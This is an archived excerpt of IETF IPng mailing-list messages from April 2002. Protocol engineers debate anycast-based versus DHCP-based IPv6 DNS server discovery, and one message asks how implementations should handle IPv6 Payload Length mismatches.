; Mon, 29 Apr 2002 10:45:52 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA15534 for ; Mon, 29 Apr 2002 10:45:54 -0700 (PDT) Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [193.180.251.47]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA29269 for ; Mon, 29 Apr 2002 11:45:54 -0600 (MDT) Received: from esealnt462.al.sw.ericsson.se (ESEALNT462.al.sw.ericsson.se [153.88.251.62]) by penguin.wise.edt.ericsson.se (8.12.1/8.12.1/WIREfire-1.4) with SMTP id g3THjrs7023641 for ; Mon, 29 Apr 2002 19:45:53 +0200 (MEST) Received: FROM esealnt742.al.sw.ericsson.se BY esealnt462.al.sw.ericsson.se ; Mon Apr 29 19:45:53 2002 +0200 Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19) id ; Mon, 29 Apr 2002 19:35:13 +0200 Message-ID: <4DA6EA82906FD511BE2F00508BCF053802C6ACF7@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: "'Rob Austein'" , ipng@sunroof.eng.sun.com Subject: RE: Proposed IPv6 DNS Discovery Requirements Date: Mon, 29 Apr 2002 19:45:51 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > > 1. The DNS can inject a route. Do you see problems > > with this? > > Well, "the DNS" doesn't do routes, but I assume you meant the DNS > server. Yes, there are issues: > > a) DNS server now has to implement one or more routing protocols, > which is a lot more code than, say, a stub DHCP server. > > b) What's the security model by which the router decides whether to > accept routing updates from the DNS server? => The same model that is used between routers in the network. I was only listing them in point form here, but the details are already in the draft. > > > 2. Using Neighbour discovery and periodic solicitations. > > Most people in the DT didn't like this option. > > > > 3. The cleanest way: extensions to MLD to allow a node > > to join an anycast group. > > These are both polling approaches, right? => Yes. Exactly the same > issues Bob > suggested apply to the co-resident DHCP approach apply here: how > tightly coupled does the thing you're polling have to be to the > service you're providing in order for the poll to tell you > whether the > service itself is available? => That's up to your implementation. The DNS is the only server using this address, so you can tie them together. Hesham -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 29 11:27:17 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TIRHrP002255; Mon, 29 Apr 2002 11:27:17 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3TIRHEG002254; Mon, 29 Apr 2002 11:27:17 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TIRErP002247 for ; Mon, 29 Apr 2002 11:27:14 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA07093 for ; Mon, 29 Apr 2002 11:27:17 -0700 (PDT) Received: from thrintun.hactrn.net (dsl092-066-067.bos1.dsl.speakeasy.net [66.92.66.67]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA17690 for ; Mon, 29 Apr 2002 11:27:16 -0700 (PDT) Received: from thrintun.hactrn.net (localhost [127.0.0.1]) by thrintun.hactrn.net (Postfix) with ESMTP id BA0E61CA1 for ; Mon, 29 Apr 2002 14:27:15 -0400 (EDT) Date: Mon, 29 Apr 2002 14:27:15 -0400 From: Rob Austein To: ipng@sunroof.eng.sun.com Subject: Re: Proposed IPv6 DNS Discovery Requirements In-Reply-To: <4DA6EA82906FD511BE2F00508BCF053802C6ACF7@Esealnt861.al.sw.ericsson.se> References: <4DA6EA82906FD511BE2F00508BCF053802C6ACF7@Esealnt861.al.sw.ericsson.se> User-Agent: Wanderlust/2.4.1 (Stand By Me) SEMI/1.13.7 (Awazu) FLIM/1.13.2 (Kasanui) Emacs/20.7 (i386--freebsd) MULE/4.0 (HANANOEN) MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII Message-Id: <20020429182715.BA0E61CA1@thrintun.hactrn.net> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk At Mon, 29 Apr 2002 19:45:51 +0200, Hesham Soliman wrote: > >> b) What's the security model by which the router decides whether to >> accept routing updates from the DNS server? > > The same model that is used between routers in the network. Right, so this approach adds a whole new set of boxes that can mess up your routing system. This does not strike me as a good thing. > I was only listing them in point form here, but the details are > already in the draft. I read the draft (again). I agree that it goes into more detail on these points, I just disagree with its conclusions. > That's up to your implementation. The DNS is the only server using > this address, so you can tie them together. Sure. One can do the same kind of thing with the DHCP approach (use SO_REUSEPORT or whatever and tie the DHCP mini server to the DNS server). The point was just that exactly the same considerations apply to the anycast proposal as apply to other proposals. I have to admit that I also find it kind of amusing that this of all WGs seems to be proposing to move service location functionality out of the edge systems and into the network core. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 29 12:55:06 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TJt4rP002510; Mon, 29 Apr 2002 12:55:04 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3TJt3NC002509; Mon, 29 Apr 2002 12:55:03 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TJt0rP002502 for ; Mon, 29 Apr 2002 12:55:00 -0700 (PDT) Received: from patan.sun.com ([129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA09319 for ; Mon, 29 Apr 2002 12:55:01 -0700 (PDT) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA24302 for ; Mon, 29 Apr 2002 13:55:00 -0600 (MDT) Received: from mira-sjcd-4.cisco.com (IDENT:mirapoint@mira-sjcd-4.cisco.com [171.69.43.47]) by sj-msg-core-2.cisco.com (8.12.2/8.12.2) with ESMTP id g3TJssp6012242; Mon, 29 Apr 2002 12:54:54 -0700 (PDT) Received: from [10.34.255.54] ([10.34.255.54]) by mira-sjcd-4.cisco.com (Mirapoint) with ESMTP id ADN21561; Mon, 29 Apr 2002 12:53:46 -0700 (PDT) Mime-Version: 1.0 X-Sender: deering@mira-sjcd-4.cisco.com Message-Id: In-Reply-To: <20020429182715.BA0E61CA1@thrintun.hactrn.net> References: <4DA6EA82906FD511BE2F00508BCF053802C6ACF7@Esealnt861.al.sw.ericsson.se> <20020429182715.BA0E61CA1@thrintun.hactrn.net> Date: Mon, 29 Apr 2002 12:54:51 -0700 To: Rob Austein From: Steve Deering Subject: Re: Proposed IPv6 DNS Discovery Requirements Cc: ipng@sunroof.eng.sun.com Content-Type: text/plain; charset="us-ascii" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk At 2:27 PM -0400 4/29/02, Rob Austein wrote: >I have to admit that I also find it kind of amusing that this of all >WGs seems to be proposing to move service location functionality out >of the edge systems and into the network core. No more so than the use of DHCP relays does. We're talking about the IGP within a site, and taking advantage of what it already can do. (Now that I mention it, perhaps DHCP relays ought also to be replaced by the use of a well-known, site-local anycast address.) Steve -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 29 13:10:08 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TKA8rP002719; Mon, 29 Apr 2002 13:10:08 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3TKA7L6002718; Mon, 29 Apr 2002 13:10:07 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TKA5rP002711 for ; Mon, 29 Apr 2002 13:10:05 -0700 (PDT) Received: from pheriche.sun.com ([129.147.5.34]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA25908 for ; Mon, 29 Apr 2002 13:10:06 -0700 (PDT) Received: from funnel.cisco.com (funnel.cisco.com [161.44.168.79]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA20592 for ; Mon, 29 Apr 2002 14:10:05 -0600 (MDT) Received: from rdroms-w2k.cisco.com (ch2-dhcp150-93.cisco.com [161.44.150.93]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id QAA02888 for ; Mon, 29 Apr 2002 16:10:05 -0400 (EDT) Message-Id: <4.3.2.7.2.20020429160907.0380a9d0@funnel.cisco.com> X-Sender: rdroms@funnel.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Mon, 29 Apr 2002 16:10:02 -0400 To: ipng@sunroof.eng.sun.com From: Ralph Droms Subject: Re: Proposed IPv6 DNS Discovery Requirements In-Reply-To: References: <20020429182715.BA0E61CA1@thrintun.hactrn.net> <4DA6EA82906FD511BE2F00508BCF053802C6ACF7@Esealnt861.al.sw.ericsson.se> <20020429182715.BA0E61CA1@thrintun.hactrn.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk We've made a proposal in the latest rev of the DHCPv6 draft to use a well-known, site-local anycast address. - Ralph At 12:54 PM 4/29/2002 -0700, Steve Deering wrote: >At 2:27 PM -0400 4/29/02, Rob Austein wrote: > >I have to admit that I also find it kind of amusing that this of all > >WGs seems to be proposing to move service location functionality out > >of the edge systems and into the network core. > >No more so than the use of DHCP relays does. We're talking about the >IGP within a site, and taking advantage of what it already can do. > >(Now that I mention it, perhaps DHCP relays ought also to be replaced >by the use of a well-known, site-local anycast address.) > >Steve > >-------------------------------------------------------------------- >IETF IPng Working Group Mailing List >IPng Home Page: http://playground.sun.com/ipng >FTP archive: ftp://playground.sun.com/pub/ipng >Direct all administrative requests to majordomo@sunroof.eng.sun.com >-------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 29 13:11:59 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TKBwrP002778; Mon, 29 Apr 2002 13:11:58 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3TKBwcc002777; Mon, 29 Apr 2002 13:11:58 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TKBtrP002770 for ; Mon, 29 Apr 2002 13:11:55 -0700 (PDT) Received: from lukla.Sun.COM ([129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA26628 for ; Mon, 29 Apr 2002 13:11:57 -0700 (PDT) Received: from funnel.cisco.com (funnel.cisco.com [161.44.168.79]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id OAA27641 for ; Mon, 29 Apr 2002 14:11:53 -0600 (MDT) Received: from rdroms-w2k.cisco.com (ch2-dhcp150-93.cisco.com [161.44.150.93]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id QAA02999 for ; Mon, 29 Apr 2002 16:11:48 -0400 (EDT) Message-Id: <4.3.2.7.2.20020429161009.0380ebf0@funnel.cisco.com> X-Sender: rdroms@funnel.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Mon, 29 Apr 2002 16:11:46 -0400 To: ipng@sunroof.eng.sun.com From: Ralph Droms Subject: Re: Proposed IPv6 DNS Discovery Requirements In-Reply-To: References: <20020429182715.BA0E61CA1@thrintun.hactrn.net> <4DA6EA82906FD511BE2F00508BCF053802C6ACF7@Esealnt861.al.sw.ericsson.se> <20020429182715.BA0E61CA1@thrintun.hactrn.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk At 12:54 PM 4/29/2002 -0700, Steve Deering wrote: >At 2:27 PM -0400 4/29/02, Rob Austein wrote: > >I have to admit that I also find it kind of amusing that this of all > >WGs seems to be proposing to move service location functionality out > >of the edge systems and into the network core. > >No more so than the use of DHCP relays does. We're talking about the >IGP within a site, and taking advantage of what it already can do. So, the DNS Discovery proposals do no better than DHCP in the area of distributing function out to the edge and away from the network core? >(Now that I mention it, perhaps DHCP relays ought also to be replaced >by the use of a well-known, site-local anycast address.) > >Steve > >-------------------------------------------------------------------- >IETF IPng Working Group Mailing List >IPng Home Page: http://playground.sun.com/ipng >FTP archive: ftp://playground.sun.com/pub/ipng >Direct all administrative requests to majordomo@sunroof.eng.sun.com >-------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 29 13:40:06 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TKe6rP002958; Mon, 29 Apr 2002 13:40:06 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3TKe6OI002957; Mon, 29 Apr 2002 13:40:06 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TKe3rP002950 for ; Mon, 29 Apr 2002 13:40:03 -0700 (PDT) Received: from lukla.Sun.COM ([129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA27560 for ; Mon, 29 Apr 2002 13:40:05 -0700 (PDT) Received: from lion.css-mps.ru ([217.175.131.60]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id OAA11472 for ; Mon, 29 Apr 2002 14:40:02 -0600 (MDT) Received: from [217.175.132.111] ([217.175.132.111]) by lion.css-mps.ru (8.9.3/8.9.3) with ESMTP id AAA20794 for ; Tue, 30 Apr 2002 00:39:06 +0400 (MSD) Date: Tue, 30 Apr 2002 00:38:22 +0400 (MSD) From: Grigoriy Klyuchnikov X-Sender: grn@purga.css-mps.ru To: ipng@sunroof.eng.sun.com Subject: IPv6 header's Payload Length field Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hello, I have some questions about the behaviour of an implementation in cases when the IPv6 header's Payload Length + size of IPv6 header isn't equal the size of the real recieved data. RFC 2460 say: "4.7 No Next Header The value 59 in the Next Header field of an IPv6 header or any extension header indicates that there is nothing following that header. If the Payload Length field of the IPv6 header indicates the presence of octets past the end of a header whose Next Header field contains 59, those octets must be ignored, and passed on unchanged if the packet is forwarded." 1) What must an implementation do in the case if the Payload Length field of the IPv6 header indicates the of octets past the end of the upper layer packet? Must it generate ICMP Parameter Problem message in this case or pass superfluous data unchanged (in end-point case and in router case)? Is it implementation depended? 2) If IPv6 header's Payload Length is zero, but the size of the real recieved data is longer then size of the IPv6 header (40 bytes). Is it an error? Or an implementation may pass superfluous data unchanged to the destination. 3) If IPv6 header's Payload Length > 0, but the size of the real recieved data is longer then IPv6 header's Payload Length + size of IPv6 header. May an implementation pass superfluous data unchanged? 4) If IPv6 header's Payload Length + size of IPv6 header is longer then size of the real recieved data. Is it an error case or implementation depended? Thanks. Regards, Grigory Klyuchnikov, System Engineer, Institute for System Programming Russian Academy of Sciences -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 29 13:47:58 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TKlwrP002978; Mon, 29 Apr 2002 13:47:58 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3TKlwHd002977; Mon, 29 Apr 2002 13:47:58 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TKltrP002970 for ; Mon, 29 Apr 2002 13:47:55 -0700 (PDT) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA13038 for ; Mon, 29 Apr 2002 13:47:57 -0700 (PDT) Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA14364 for ; Mon, 29 Apr 2002 13:47:52 -0700 (PDT) Received: from mira-sjcd-4.cisco.com (IDENT:mirapoint@mira-sjcd-4.cisco.com [171.69.43.47]) by sj-msg-core-3.cisco.com (8.12.2/8.12.2) with ESMTP id g3TKlnpY013926; Mon, 29 Apr 2002 13:47:49 -0700 (PDT) Received: from [10.34.255.54] ([10.34.255.54]) by mira-sjcd-4.cisco.com (Mirapoint) with ESMTP id ADN23132; Mon, 29 Apr 2002 13:46:43 -0700 (PDT) Mime-Version: 1.0 X-Sender: deering@mira-sjcd-4.cisco.com Message-Id: In-Reply-To: <4.3.2.7.2.20020429161009.0380ebf0@funnel.cisco.com> References: <20020429182715.BA0E61CA1@thrintun.hactrn.net> <4DA6EA82906FD511BE2F00508BCF053802C6ACF7@Esealnt861.al.sw.ericsson.se> <20020429182715.BA0E61CA1@thrintun.hactrn.net> <4.3.2.7.2.20020429161009.0380ebf0@funnel.cisco.com> Date: Mon, 29 Apr 2002 13:47:48 -0700 To: Ralph Droms From: Steve Deering Subject: Re: Proposed IPv6 DNS Discovery Requirements Cc: ipng@sunroof.eng.sun.com Content-Type: text/plain; charset="us-ascii" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk At 4:11 PM -0400 4/29/02, Ralph Droms wrote: >So, the DNS Discovery proposals do no better than DHCP in the >area of distributing function out to the edge and away from >the network core? That depends on which functions (DHCP? DNS?) are "in the core". What the DNS Discovery proposal does is eliminate an unnecessary intermediary. Steve -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 29 14:12:56 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TLCtrP003066; Mon, 29 Apr 2002 14:12:55 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3TLCtYD003065; Mon, 29 Apr 2002 14:12:55 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TLCqrP003058 for ; Mon, 29 Apr 2002 14:12:52 -0700 (PDT) Received: from patan.sun.com ([129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA21479 for ; Mon, 29 Apr 2002 14:12:54 -0700 (PDT) Received: from roam ([193.0.5.205]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA16205 for ; Mon, 29 Apr 2002 15:12:53 -0600 (MDT) Received: from randy by roam with local (Exim 4.04) id 172IB0-000DKn-00; Mon, 29 Apr 2002 22:55:14 +0200 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: "Hesham Soliman (ERA)" Cc: "'Rob Austein'" , ipng@sunroof.eng.sun.com Subject: RE: Proposed IPv6 DNS Discovery Requirements References: <4DA6EA82906FD511BE2F00508BCF053802C6ACF3@Esealnt861.al.sw.ericsson.se> Message-Id: Date: Mon, 29 Apr 2002 22:55:14 +0200 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > 1. The DNS can inject a route. please tell us the rfc or i-d which describes this randy -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 29 14:13:07 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TLD7rP003076; Mon, 29 Apr 2002 14:13:07 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3TLD76g003075; Mon, 29 Apr 2002 14:13:07 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TLD3rP003068 for ; Mon, 29 Apr 2002 14:13:03 -0700 (PDT) Received: from pheriche.sun.com ([129.147.5.34]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA21582 for ; Mon, 29 Apr 2002 14:13:06 -0700 (PDT) Received: from roam ([193.0.5.205]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA03078 for ; Mon, 29 Apr 2002 15:13:00 -0600 (MDT) Received: from randy by roam with local (Exim 4.04) id 172Hte-000DJJ-00; Mon, 29 Apr 2002 22:37:18 +0200 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Rob Austein Cc: ipng@sunroof.eng.sun.com Subject: Re: Proposed IPv6 DNS Discovery Requirements References: <4DA6EA82906FD511BE2F00508BCF053802C6ACEE@Esealnt861.al.sw.ericsson.se> <20020429163927.141671CA1@thrintun.hactrn.net> Message-Id: Date: Mon, 29 Apr 2002 22:37:18 +0200 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk magma is working on the subset of the problem of how the routing server knows that an anycast service is up/down. randy, not holding breath -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 29 20:28:36 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3U3SarP003709; Mon, 29 Apr 2002 20:28:36 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3U3SaNx003708; Mon, 29 Apr 2002 20:28:36 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3U3SWrP003701 for ; Mon, 29 Apr 2002 20:28:33 -0700 (PDT) Received: from lukla.Sun.COM ([129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id UAA05921 for ; Mon, 29 Apr 2002 20:28:35 -0700 (PDT) Received: from thrintun.hactrn.net (dsl092-066-067.bos1.dsl.speakeasy.net [66.92.66.67]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id VAA07207 for ; Mon, 29 Apr 2002 21:28:33 -0600 (MDT) Received: from thrintun.hactrn.net (localhost [127.0.0.1]) by thrintun.hactrn.net (Postfix) with ESMTP id B7EB31C46 for ; Mon, 29 Apr 2002 23:28:32 -0400 (EDT) Date: Mon, 29 Apr 2002 23:28:32 -0400 From: Rob Austein To: ipng@sunroof.eng.sun.com Subject: Re: Proposed IPv6 DNS Discovery Requirements In-Reply-To: References: <4DA6EA82906FD511BE2F00508BCF053802C6ACF7@Esealnt861.al.sw.ericsson.se> <20020429182715.BA0E61CA1@thrintun.hactrn.net> User-Agent: Wanderlust/2.4.1 (Stand By Me) SEMI/1.13.7 (Awazu) FLIM/1.13.2 (Kasanui) Emacs/20.7 (i386--freebsd) MULE/4.0 (HANANOEN) MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII Message-Id: <20020430032832.B7EB31C46@thrintun.hactrn.net> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk At Mon, 29 Apr 2002 12:54:51 -0700, Steve Deering wrote: > > No more so than the use of DHCP relays does. We're talking about the > IGP within a site, and taking advantage of what it already can do. Nope, you're storing new information in the IGP that wasn't there before. But back up and take it one step at a time. In the abstract, DHCP is a multicast query, unicast response protocol. A client yells "yo, anybody got a foo server?" and gets back zero or more responses, from which it picks whichever response(s) it likes (yes, I'm oversimplifying slightly, and am completely skipping over stateful address assignment, which isn't relevant here, but in principle that's how post-address-config works using DHCP). Relay agents (again ignoring stateful address assignment) are basicly a tool for getting DHCP to work in environments that (for whatever reason) don't suport multicast in its fully glory. The key difference between the DHCP model and the anycast model is that in the case of the DHCP model it's at least possible to set things up so that the entity that's telling you where the DNS server is actually -is- the same entity as the DNS server. Thus, if the DNS servers you're using have stopped responding, you can re-ask "where's there a DNS server?" and find out who's available now. Similarly, you can keep track of which addresses you've been talking to and how well they worked (a DNS server can be up and running and still be useless due to misconfiguration, bugs, system load, network load, acts of malice, ...). In the anycast model, you're at the mercy of the system that's maintaining the anycast route: you can't query directly to find out where the DNS server is, you have to wait for the routing system to figure it out, and the routing system doesn't tell you when it change the binding between a particular anycast address and the server behind it, so you can't usefully keep track of which DNS servers have been misbehaving recently. So I stand by my previous statement that the anycast proposal moves data and functionality from the edge into the core of the network. I suspect that further discussion on this particular point would be more suitable for a beer BOF in Yokohama than for this mailing list. > (Now that I mention it, perhaps DHCP relays ought also to be replaced > by the use of a well-known, site-local anycast address.) That'd be another step towards centralization, since it assumes an environment in which there's only one[*] DHCP server that your client might want to talk to, and completely loses the capability to send the same question to whatever DHCP servers are in range. [*] Or two, or three, or whatever small fixed number of anycast addresses you choose to allocate, and to date I haven't seen an explanation of how servers anycast::1, anycast::2, and anycast::3 are supposed to sort out which one gets which anycast address without some kind of coordination mechanism that either involves yet another new protocol or something that quacks like manual configuration. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Apr 30 03:41:15 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3UAfFrP004755; Tue, 30 Apr 2002 03:41:15 -0700 (PDT) Received: (from majordomo@localhost) by 